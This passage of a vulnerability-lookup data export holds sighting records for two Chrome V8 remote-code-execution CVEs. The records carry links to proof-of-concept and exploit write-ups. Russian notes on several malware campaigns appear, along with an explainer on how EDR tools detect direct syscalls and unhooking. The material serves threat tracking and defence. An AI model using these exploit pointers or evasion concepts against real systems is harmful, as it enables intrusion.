\u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Syniverse \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0432\u043e\u0438\u043c IT-\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c. \u0412\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u043e, \u0447\u0442\u043e \u0430\u043a\u0442\u043e\u0440 \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043f\u0440\u043e\u043d\u0438\u043a \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0435\u0449\u0435 \u0432 2016\u00a0\u0433\u043e\u0434\u0443. \u0412 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u043f\u044f\u0442\u0438 \u043b\u0435\u0442, \u043e\u0441\u0442\u0430\u0432\u0430\u044f\u0441\u044c \u043d\u0435\u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0441\u043c\u043e\u0433 \u0443\u043a\u0440\u0430\u0441\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 \u0432 \u0441\u0440\u0435\u0434\u0443 EDT \u0443 235\u00a0\u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0445, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0430\u0431\u043e\u043d\u0435\u043d\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f  \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0432\u043e\u043d\u043a\u043e\u0432 \u0438 \u0442\u0435\u043a\u0441\u0442\u044b \u0441\u043c\u0441.\n\n9. MagicScroll - \u0441\u043b\u043e\u0436\u043d\u044b\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a, \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0439 \u0432 2019\u00a0\u0433\u043e\u0434\u0443 Palo Alto. \u042d\u0442\u043e \u043c\u043d\u043e\u0433\u043e\u044d\u0442\u0430\u043f\u043d\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e. \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u0436\u0435\u0440\u0442\u0432\u0430 (\u0438\u0437 \u0420\u043e\u0441\u0441\u0438\u0438) \u0431\u044b\u043b\u0430 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043d\u0430 \u0432 2017\u00a0\u0433\u043e\u0434\u0443. \u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u043e\u0433\u043e \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d. \u041f\u0435\u0440\u0432\u044b\u0439 \u044d\u0442\u0430\u043f\u00a0- \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u0441\u043e\u0437\u0434\u0430\u043d \u043a\u0430\u043a \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u0415\u0433\u043e \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0435 \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 - \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0430 \u043c\u043e\u0434\u0443\u043b\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u044d\u0442\u0430\u043f\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 \u0440\u0435\u0435\u0441\u0442\u0440\u0435 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c VirtualBox \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u044f\u0434\u0440\u0430.\n\n10. Metador \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u0431\u044b\u043b\u0430 \u043e\u043f\u0438\u0441\u0430\u043d\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 SentinelLabs \u0432 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 2022\u00a0\u0433\u043e\u0434\u0430. \u0410\u0442\u0430\u043a\u0443\u0435\u0442 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u0438 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u044b \u0432 \u0441\u0442\u0440\u0430\u043d\u0430\u0445 \u0411\u043b\u0438\u0436\u043d\u0435\u0433\u043e \u0412\u043e\u0441\u0442\u043e\u043a\u0430 \u0438 \u0410\u0444\u0440\u0438\u043a\u0438. Metador \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0434\u0432\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b: metaMain \u0438 Mafalda, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u043e\u0431\u043c\u0435\u043d\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u043c\u0438 \u0438\u043c\u043f\u043b\u0430\u0442\u0430\u0442\u0430\u043c\u0438.", "creation_timestamp": "2022-10-12T14:32:56.000000Z"}, {"uuid": "b0a04bd4-3803-4c7f-8a7d-651a0919ed39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21225", "type": "published-proof-of-concept", "source": "https://t.me/thebugbountyhunter/5610", "content": "A Bug's Life: CVE-2021-21225\nIn this post, I want to showcase CVE-2021-21225, a vulnerability in V8's Array.prototype.concat implementation that I discovered in April 2021. It was used to gain code execution in Google Chrome's renderer process and won a $22000 bounty from Google which was donated to the EFF (matched by Google)\n\nhttps://tiszka.com/blog/CVE_2021_21225.html", "creation_timestamp": "2021-08-20T01:24:52.000000Z"}, {"uuid": "2cb22a2f-598f-4c75-8f0f-8ed66d297f86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/1930", "content": "Exploitation of CVE-2021-21220 \u2013 From Incorrect JIT Behavior to RCE https://www.zerodayinitiative.com/blog/2021/12/15/exploitation-of-cve-2021-21220-from-incorrect-jit-behavior-to-rce", "creation_timestamp": "2026-08-03T03:02:13.898653Z"}, {"uuid": "8f68ddfa-f2ad-44cc-8c90-0699176f9417", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/1945", "content": "Exploitation of CVE-2021-21220 \u2013 From Incorrect JIT Behavior to RCE https://www.zerodayinitiative.com/blog/2021/12/15/exploitation-of-cve-2021-21220-from-incorrect-jit-behavior-to-rce", "creation_timestamp": "2026-08-03T03:02:13.963060Z"}, {"uuid": "f86fdb23-a730-4dab-a3d4-f88cb150a08f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "published-proof-of-concept", "source": "Telegram/ncsZYwvkZswo-xsDNSaS9rQ9kGkX9aoJKX7TXzP8vlLRrcrg", "content": "", "creation_timestamp": "2021-12-16T17:02:54.000000Z"}, {"uuid": "da0c6089-2eff-43b2-8fe4-e4555fb11ae6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/3136", "content": "#Threat_Research\nChrome RCE Vulnerability\n(PoC for CVE-2021-21220)\nhttps://paper.seebug.org/1556\n+ Chrome V8 JavaScript Engine RCE:\nhttps://packetstormsecurity.com/files/162154/chromiumv8-overflow.txt", "creation_timestamp": "2021-04-16T11:01:26.000000Z"}, {"uuid": "beb02bab-058b-4037-8b2a-2f2871558f26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21224", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/3218", "content": "#exploit\nSample ARM64 PoC for CVE-2021-21224", "creation_timestamp": "2021-04-26T11:02:21.000000Z"}, {"uuid": "782880ab-cb1e-41ba-ae2b-416178b7d5ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21225", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/4203", "content": "#Analytics\nTop 10 Most Used Vulns of the Month (Aug 1-31)\nCVE-2021-1675 - Print Spooler EoP\nhttps://t.me/cybersecuritytechnologies/3723\nCVE-2021-31956 - Win NTFS EoP\nhttps://t.me/cybersecuritytechnologies/4110\nCVE-2021-36958 - Print Spooler RCE\nhttps://mobile.twitter.com/gentilkiwi/status/1416429860566847490?s=20\nCVE-2021-39137 - A consensus-vuln in go-eth\nCVE-2021-22937 - Pulse ConnSecure RCE\nhttps://t.me/cybersecuritytechnologies/4044\nCVE-2021-34473 - Pre-auth Path Confusion\nhttps://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell\nCVE-2021-21225 - Vuln in V8's Array.prototype.concat\nhttps://t.me/cybersecuritytechnologies/4090\nCVE-2021-20090 - Path traversal in Buffalo routers\nhttps://t.me/cybersecuritytechnologies/3986\nCVE-2021-26084 - Confluence Server Webwork OGNL Inj\nhttps://t.me/cybersecuritytechnologies/4202\nCVE-2021-3711 - Vulns in OpenSSL\nhttps://nakedsecurity.sophos.com/2021/08/27/big-bad-decryption-bug-in-openssl-but-no-cause-for-alarm", "creation_timestamp": "2021-09-02T11:05:07.000000Z"}, {"uuid": "5b0ec5a8-674d-4af6-b1b1-da3fcf2a9ac0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21225", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/4090", "content": "#exploit\nCVE-2021-21225:\nA vulnerability in V8's\u00a0Array.prototype.concat\u00a0implementation\nhttps://tiszka.com/blog/CVE_2021_21225.html", "creation_timestamp": "2021-08-17T15:07:17.000000Z"}, {"uuid": "5060063c-346d-46b6-b0e9-3103e9843b0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21225", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/1490", "content": "Exploiting CVE-2021-21225 and disabling W^X https://tiszka.com/blog/CVE_2021_21225_exploit.html", "creation_timestamp": "2026-08-03T07:00:03.540746Z"}, {"uuid": "e5946e15-8c53-4a82-9af0-5dfc49ac6879", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21225", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/1489", "content": "A Bug's Life: CVE-2021-21225 https://tiszka.com/blog/CVE_2021_21225.html", "creation_timestamp": "2026-08-03T07:00:03.617695Z"}, {"uuid": "41db62f1-05b5-4d85-a99c-159a6092a313", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21225", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/1514", "content": "Exploiting CVE-2021-21225 and disabling W^X https://tiszka.com/blog/CVE_2021_21225_exploit.html", "creation_timestamp": "2026-08-03T07:02:14.050387Z"}, {"uuid": "efd4c30f-f45a-4002-86c5-f83443452300", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21225", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/1489", "content": "A Bug's Life: CVE-2021-21225 https://tiszka.com/blog/CVE_2021_21225.html", "creation_timestamp": "2026-08-04T00:00:46.478158Z"}, {"uuid": "8c1633f8-8518-4949-8cd2-3bba27246b6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21225", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/1514", "content": "Exploiting CVE-2021-21225 and disabling W^X https://tiszka.com/blog/CVE_2021_21225_exploit.html", "creation_timestamp": "2026-08-04T00:00:46.690634Z"}, {"uuid": "527a5fc6-4eac-48e7-8847-2fc8cc48dd51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/1930", "content": "Exploitation of CVE-2021-21220 \u2013 From Incorrect JIT Behavior to RCE https://www.zerodayinitiative.com/blog/2021/12/15/exploitation-of-cve-2021-21220-from-incorrect-jit-behavior-to-rce", "creation_timestamp": "2026-08-04T00:00:52.126483Z"}, {"uuid": "9f8ccba9-2a12-4e0a-8de1-f5564aca961c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/1945", "content": "Exploitation of CVE-2021-21220 \u2013 From Incorrect JIT Behavior to RCE https://www.zerodayinitiative.com/blog/2021/12/15/exploitation-of-cve-2021-21220-from-incorrect-jit-behavior-to-rce", "creation_timestamp": "2026-08-04T00:00:52.179935Z"}, {"uuid": "a1700b0b-91d5-4aed-830a-03d0de7bc779", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21225", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/1490", "content": "Exploiting CVE-2021-21225 and disabling W^X https://tiszka.com/blog/CVE_2021_21225_exploit.html", "creation_timestamp": "2026-08-04T01:00:23.460931Z"}, {"uuid": "79c03026-b919-4e3e-882e-40b19dd4de24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21225", "type": "seen", "source": "Telegram/POQVWa3Jroy9qAHQHC95AFUo26XhA7yoznuFF1SPEi3aNqM", "content": "", "creation_timestamp": "2026-08-16T19:00:05.734497Z"}, {"uuid": "9c7a1c3f-08a6-4457-8213-a5cae1a921a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21225", "type": "published-proof-of-concept", "source": "Telegram/POQVWa3Jroy9qAHQHC95AFUo26XhA7yoznuFF1SPEi3aNqM", "content": "", "creation_timestamp": "2026-08-17T00:00:09.763449Z"}, {"uuid": "b15a8ece-f4e7-443b-991b-3faee796f43e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "seen", "source": "https://gist.github.com/hoOJluGun/b4509c6904e28fcb704d77ef867a897d", "content": "\u041d\u0438\u0436\u0435 \u2014 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u0430\u044f \u0432\u044b\u0436\u0438\u043c\u043a\u0430 \u043f\u043e \u043b\u043e\u0433\u0438\u043a\u0435 \u0434\u0435\u0442\u0435\u043a\u0442\u0430 Direct Syscalls \u0438 Unhooking \u0431\u0435\u0437 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u0432 \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u043e\u0431\u0445\u043e\u0434\u0430. \u0424\u043e\u043a\u0443\u0441 \u2014 \u043d\u0430 \u0442\u043e\u043c, \u043a\u0430\u043a\u0438\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b Windows/EDR \u043e\u0436\u0438\u0434\u0430\u0435\u0442 \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0438 \u043a\u0430\u043a\u0438\u0435 \u043d\u0435\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u044f \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u0441\u0438\u0433\u043d\u0430\u043b\u043e\u043c.\n\n3. \u041e\u0431\u0445\u043e\u0434 \u0445\u0443\u043a\u043e\u0432 \u0438 \u043a\u0430\u043a EDR \u044d\u0442\u043e \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\n1. Direct Syscalls: \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0430\u043d\u043e\u043c\u0430\u043b\u044c\u043d\u043e\n\u041d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u0430\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0432\u044b\u0437\u043e\u0432\u0430\n\u0412 \u0442\u0438\u043f\u0438\u0447\u043d\u043e\u043c Windows-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u043f\u0443\u0442\u044c \u043a \u044f\u0434\u0440\u0443 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a:\n\napplication.exe / library.dll\n  \u2192 kernel32.dll / kernelbase.dll\n    \u2192 ntdll.dll!NtXxx / ZwXxx\n      \u2192 syscall\n        \u2192 ntoskrnl.exe\n\u0414\u043b\u044f EDR \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u044b\u0439 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442: \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u0432 kernel-mode \u043e\u0431\u044b\u0447\u043d\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0438\u0437 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 syscall stub\u2019\u043e\u0432 \u0432\u043d\u0443\u0442\u0440\u0438 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 ntdll.dll.\n\n\u0414\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 EDR \u043d\u0435 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0438\u043b \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432 user-mode \u0445\u0443\u043a\u043e\u043c, \u043e\u043d \u043c\u043e\u0436\u0435\u0442 \u043a\u043e\u0440\u0440\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u044f\u0434\u0440\u0430 \u0438 \u0441\u043f\u0440\u043e\u0441\u0438\u0442\u044c:\n\n\u00ab\u041e\u0442\u043a\u0443\u0434\u0430 \u043f\u043e\u0442\u043e\u043a \u043f\u0440\u0438\u0448\u0451\u043b \u0432 syscall? \u041a\u0430\u043a\u0430\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u043e\u0432 \u0432 user-mode? \u0415\u0441\u0442\u044c \u043b\u0438 \u0432 \u0441\u0442\u0435\u043a\u0435 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u0430\u044f ntdll.dll?\u00bb\n\n2. \u041a\u0430\u043a EDR \u0432\u0438\u0434\u0438\u0442 Direct Syscall\nDirect Syscall \u043a\u043e\u043d\u0446\u0435\u043f\u0442\u0443\u0430\u043b\u044c\u043d\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u043a\u043e\u0434 \u043d\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0448\u0442\u0430\u0442\u043d\u044b\u0439 ntdll!NtXxx, \u0430 \u0441\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u0432 \u044f\u0434\u0440\u043e \u0438\u0437 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u0447\u0430\u0441\u0442\u043a\u0430 \u043a\u043e\u0434\u0430.\n\n\u0421 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u044d\u0442\u043e \u043b\u043e\u043c\u0430\u0435\u0442 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u0443\u044e \u0442\u043e\u043f\u043e\u043b\u043e\u0433\u0438\u044e:\n\n\u041e\u0436\u0438\u0434\u0430\u0435\u043c\u043e:\nuser code \u2192 ntdll.dll syscall stub \u2192 kernel\n\n\u0410\u043d\u043e\u043c\u0430\u043b\u044c\u043d\u043e:\nuser code / \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 RX-\u0440\u0435\u0433\u0438\u043e\u043d \u2192 syscall \u2192 kernel\nEDR \u043c\u043e\u0436\u0435\u0442 \u043b\u043e\u0432\u0438\u0442\u044c \u044d\u0442\u043e \u043d\u0435 \u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0443, \u0430 \u043f\u043e \u043a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u0438.\n\nA. Stack Walking: \u0430\u043d\u043e\u043c\u0430\u043b\u0438\u044f \u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c \u0441\u0442\u0435\u043a\u0435\n\u041a\u043e\u0433\u0434\u0430 kernel-mode \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 EDR \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u043e\u0431\u044b\u0442\u0438\u0435, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440:\n\n\u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430;\n\u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043f\u043e\u0442\u043e\u043a\u0430;\n\u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0435 process/thread handle;\n\u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 protection \u043f\u0430\u043c\u044f\u0442\u0438;\n\u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u0447\u0443\u0436\u043e\u0439 \u0430\u0434\u0440\u0435\u0441\u043d\u044b\u0439 space;\n\u043c\u0430\u043f\u043f\u0438\u043d\u0433 \u0441\u0435\u043a\u0446\u0438\u0438;\n\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 image;\n\u043e\u043d \u043c\u043e\u0436\u0435\u0442 \u0441\u043d\u044f\u0442\u044c \u0441\u0442\u0435\u043a \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u043e\u0442\u043e\u043a\u0430 \u0438\u043b\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0438\u0442\u044c user-mode stack trace \u0447\u0435\u0440\u0435\u0437 ETW/\u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0434\u0440\u0430\u0439\u0432\u0435\u0440/\u0441\u0435\u043d\u0441\u043e\u0440\u044b.\n\n\u041d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0442\u0435\u043a \u0434\u043b\u044f \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043e\u0431\u044b\u0447\u043d\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0447\u0442\u043e-\u0442\u043e \u0432\u0440\u043e\u0434\u0435:\n\nntdll.dll!NtAllocateVirtualMemory\nkernelbase.dll!VirtualAllocEx\napplication_module!...\n\u0438\u043b\u0438:\n\nntdll.dll!NtCreateThreadEx\nkernelbase.dll / custom runtime\napplication_module!...\n\u041f\u0440\u0438 Direct Syscall \u043f\u043e\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u044f.\n\n\u041f\u0440\u0438\u0437\u043d\u0430\u043a 1: \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0439 frame \u0438\u0437 ntdll.dll\n\u0415\u0441\u043b\u0438 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u0432 \u044f\u0434\u0440\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u043c\u0443 \u0432\u044b\u0437\u043e\u0432\u0443, \u043d\u043e \u0441\u0442\u0435\u043a \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0447\u0435\u0440\u0435\u0437 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0439 ntdll.dll!NtXxx, \u044d\u0442\u043e \u0441\u0438\u043b\u044c\u043d\u044b\u0439 